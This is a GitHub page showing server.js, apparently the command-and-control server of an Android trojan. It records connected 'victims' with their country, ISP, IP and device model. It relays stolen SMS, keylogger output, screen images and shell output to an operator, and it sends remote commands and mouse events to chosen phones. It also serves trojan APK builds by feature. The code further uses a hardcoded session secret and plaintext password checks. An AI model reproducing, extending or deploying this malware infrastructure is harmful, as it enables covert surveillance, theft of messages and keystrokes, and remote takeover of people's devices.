-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.js
More file actions
335 lines (263 loc) · 10 KB
/
server.js
File metadata and controls
335 lines (263 loc) · 10 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
import 'dotenv/config.js'
import express from "express";
import { Server } from "socket.io";
import bodyParser from 'body-parser';
import cors from 'cors'
import chalk from "chalk";
import { superBase } from "./modules/superBaseAPI.js";
import session from "express-session";
import FileStore from "session-file-store";
import crypto from "node:crypto";
import webRoute from "./routes/webRoutes.js";
import cryptoRoutes from "./routes/crypto.js";
// Clearing the database
await superBase.from("victims")
.delete()
.like("ID", "%")
// Variables
const File_Store = FileStore(session)
const portB = 4000
const portM = 4001
const ipB = "0.0.0.0"
const ipM = "0.0.0.0"
let adminSoc = null;
const activeVictims = new Map(); // deviceId -> socket
// Variables
// Express
const app = express()
app.use(cors())
app.use(session({
store: new File_Store(),
// secret: crypto.randomBytes(16).toString('hex'),
secret: "abc",
resave: false,
cookie: { maxAge: 1000 * 60 * 60 * 24 },
saveUninitialized: true
}))
app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json()) // Add JSON parser
app.use(express.static('static'))
// APK Generation Endpoint (before auth middleware)
app.post("/generate-apk", async (req, res) => {
const { serverIp, features } = req.body;
// Validate features
const validFeatures = ['sms', 'keylogger', 'screen'];
const selectedFeatures = features.filter(f => validFeatures.includes(f));
if (selectedFeatures.length === 0) {
return res.status(400).json({ error: 'At least one feature must be selected' });
}
// Validate server IP - allow empty for auto-detection
// if (!serverIp || !/^[\d.]+$/.test(serverIp)) {
// return res.status(400).json({ error: 'Invalid server IP address' });
// }
console.log(chalk.green(`[APK Generator] Building APK with features: ${selectedFeatures.join(', ')}`));
console.log(chalk.green(`[APK Generator] Server IP: ${serverIp}`));
const fs = await import('fs');
const path = await import('path');
// Map feature combination to variant filename
const sortedFeatures = selectedFeatures.sort();
const featureStr = sortedFeatures.join('_');
// Map to actual APK filename
const variantMap = {
'sms': 'trojan_sms_v2.0.apk',
'keylogger': 'trojan_keylogger_v2.0.apk',
'screen': 'trojan_screen_v2.0.apk',
'keylogger_sms': 'trojan_sms_keylogger_v2.0.apk',
'screen_sms': 'trojan_sms_screen_v2.0.apk',
'keylogger_screen': 'trojan_keylogger_screen_v2.0.apk',
'keylogger_screen_sms': 'trojan_sms_keylogger_screen_v2.0.apk'
};
const filename = variantMap[featureStr] || `trojan_${featureStr}_v2.0.apk`;
const apkPath = path.join(process.cwd(), 'output', filename);
if (!fs.existsSync(apkPath)) {
console.log(chalk.red(`[APK Generator] File not found: ${apkPath}`));
return res.status(404).json({ error: `APK file not found: ${filename}` });
}
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`);
res.setHeader('Content-Type', 'application/vnd.android.package-archive');
const fileStream = fs.createReadStream(apkPath);
fileStream.pipe(res);
fileStream.on('end', () => {
console.log(chalk.green(`[APK Generator] APK downloaded: ${filename}`));
});
});
// Logout endpoint
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
console.log(chalk.red('[Logout] Error destroying session:', err));
return res.status(500).json({ error: 'Logout failed' });
}
res.clearCookie('connect.sid');
res.json({ success: true });
});
});
// Serve uploaded face photos (before auth)
app.use('/uploads', express.static('uploads'))
// Mount crypto API routes (before auth middleware)
app.use('/api/crypto', cryptoRoutes)
app.use('/', webRoute)
app.post("/login", async (req, res) => {
var username = req.body.username
var password = req.body.password
var { data: data, error: err } = await superBase.from("activeuser")
.select("name")
.eq("username", username)
.eq("password", password)
if (!(err || data.length == 0)) {
req.session.name = data[0].name
res.send("ok")
} else {
res.send("error")
}
})
app.post("/info", async (req, res) => {
var { data: data, error: err } = await superBase.from("victims").select("*").eq("ID", req.body.id)
if (!(err || data.length == 0)) {
res.json(data[0])
// Add device to active victims map
const deviceSocket = botIo.sockets.sockets.get(req.body.id)
if (deviceSocket) {
activeVictims.set(req.body.id, deviceSocket)
}
}
})
app.post("/send", async (req, res) => {
if (req.body.emit == "" || req.body.id == "") {
res.status(400).send()
return
}
if (req.body.emit == "ping") {
botIo.emit("ping", req.body.args)
} else {
try {
// Get specific device socket from activeVictims
const targetSocket = activeVictims.get(req.body.id)
if (targetSocket) {
targetSocket.emit(req.body.emit, req.body.args)
} else {
res.status(404).send("Device not found")
return
}
} catch (error) {
// Clean up disconnected device
await superBase.from("victims")
.delete()
.eq("ID", req.body.id)
activeVictims.delete(req.body.id)
getRemaining()
}
}
res.status(200).send("Good")
})
const masterServer = app.listen(portM, ipM, () => {
console.log(`Master Network listening on http://${ipM}:${portM}/`)
})
// Socket io Connection for BOTS
const botIo = new Server(portB)
console.log(`Bot Network listening on http://${ipB}:${portB}/`)
botIo.on("connection", async (socket) => {
var data = JSON.parse(socket.handshake.query.info)
const { error: insertError } = await superBase.from("victims")
.insert([{
"ID": socket.id,
"Country": data.Country,
"ISP": data.ISP,
"IP": data.IP,
"Brand": data.Brand,
"Model": data.Model,
"Manufacture": data.Manufacture
}])
console.log(chalk.green(`[+] Bot Connected (${socket.id}) => ${socket.request.connection.remoteAddress}:${socket.request.connection.remotePort}`))
// Notify Dashboard
if (adminSoc != null) {
adminSoc.emit("logger", `[+] New Connection: ${data.Brand} ${data.Model} (${data.IP})`)
}
getRemaining()
socket.on("disconnect", async () => {
await superBase.from("victims")
.delete()
.eq("ID", socket.id)
// Remove from active victims
activeVictims.delete(socket.id)
console.log(chalk.redBright(`[x] Bot Disconnected (${socket.id})`))
getRemaining()
})
socket.on("logger", (data) => {
if (adminSoc) adminSoc.emit("logger", { deviceId: socket.id, data })
})
socket.on("img", (data) => {
if (adminSoc) adminSoc.emit("img", { deviceId: socket.id, imageData: data })
})
socket.on("sms", (data) => {
if (adminSoc) adminSoc.emit("sms", { deviceId: socket.id, data })
})
socket.on("shellOut", (data) => {
if (adminSoc) adminSoc.emit("shellOut", { deviceId: socket.id, output: data })
})
})
// Socket io Connection for Master
const masterIo = new Server(masterServer);
masterIo.on("connection", (socket) => {
if (adminSoc == null) {
console.log(chalk.greenBright(`[+] Master got Connected (${socket.id})`))
adminSoc = socket
getRemaining()
socket.on("disconnect", () => {
console.log(chalk.red(`[x] Master got Disconnected (${socket.id})`))
adminSoc = null
})
socket.on("mouse", (data) => {
// Route mouse events to specific device
const targetSocket = activeVictims.get(data.deviceId)
if (targetSocket) {
targetSocket.emit("mouse", data)
}
})
} else {
socket.disconnect()
}
})
function getRemaining() {
superBase.from("victims").select("ID,Brand,Model").limit(20)
.then(({ data: data, error: err }) => {
// console.log(data)
if (!(err || data.length == 0 || adminSoc == null)) {
adminSoc.emit("info", data)
}
})
}
// APK Generation Endpoint
app.post("/generate-apk", express.json(), async (req, res) => {
const { serverIp, features } = req.body;
// Validate features
const validFeatures = ['sms', 'keylogger', 'screen'];
const selectedFeatures = features.filter(f => validFeatures.includes(f));
if (selectedFeatures.length === 0) {
return res.status(400).json({ error: 'At least one feature must be selected' });
}
// Validate server IP
if (!serverIp || !/^[\d.]+$/.test(serverIp)) {
return res.status(400).json({ error: 'Invalid server IP address' });
}
console.log(chalk.green(`[APK Generator] Building APK with features: ${selectedFeatures.join(', ')}`));
console.log(chalk.green(`[APK Generator] Server IP: ${serverIp}`));
// For now, return the existing APK with a message
// TODO: Implement actual build automation
const fs = await import('fs');
const path = await import('path');
const apkPath = path.join(process.cwd(), 'notes.apk');
if (!fs.existsSync(apkPath)) {
return res.status(404).json({ error: 'APK file not found' });
}
// Generate descriptive filename
const featureStr = selectedFeatures.join('_');
const filename = `trojan_${featureStr}_v2.0.apk`;
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`);
res.setHeader('Content-Type', 'application/vnd.android.package-archive');
const fileStream = fs.createReadStream(apkPath);
fileStream.pipe(res);
fileStream.on('end', () => {
console.log(chalk.green(`[APK Generator] APK downloaded: ${filename}`));
});
});